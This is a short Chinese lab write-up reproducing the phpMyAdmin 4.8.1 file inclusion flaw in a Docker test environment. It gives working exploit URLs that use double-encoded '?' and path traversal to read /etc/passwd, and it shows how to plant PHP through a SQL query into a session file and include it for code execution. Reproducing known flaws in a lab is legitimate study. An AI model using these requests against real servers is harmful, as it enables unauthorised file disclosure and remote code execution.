漏洞简介
PHPMyAdmin是一套开源的、基于Web的MysqL数据库管理工具。其index.PHP中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
漏洞环境
执行如下命令,启动PHPmyadmin 4.8.1:
docker-compose up -d
环境启动后,访问http://your-ip:8080
,即可进入PHPmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。
漏洞复现
访问http://your-ip:8080/index.PHP?target=db_sql.PHP%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在:
http://127.0.0.1:8080/index.PHP?target=db_sql.PHP?/../../../../../../../../../etc/passwd
看一下数据库位置
show global variables like "%datadir%"
/var/lib/MysqL/
利用方式也比较简单,可以执行一下SELECT '<?=PHPinfo()?>';
,然后查看自己的sessionid(cookie中PHPMyAdmin的值),然后包含session文件即可:
http://127.0.0.1:8080/index.PHP?target=db_sql.PHP?/../../../../../../../../tmp/sess_fdf008286ccba0c295db95dded641120
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。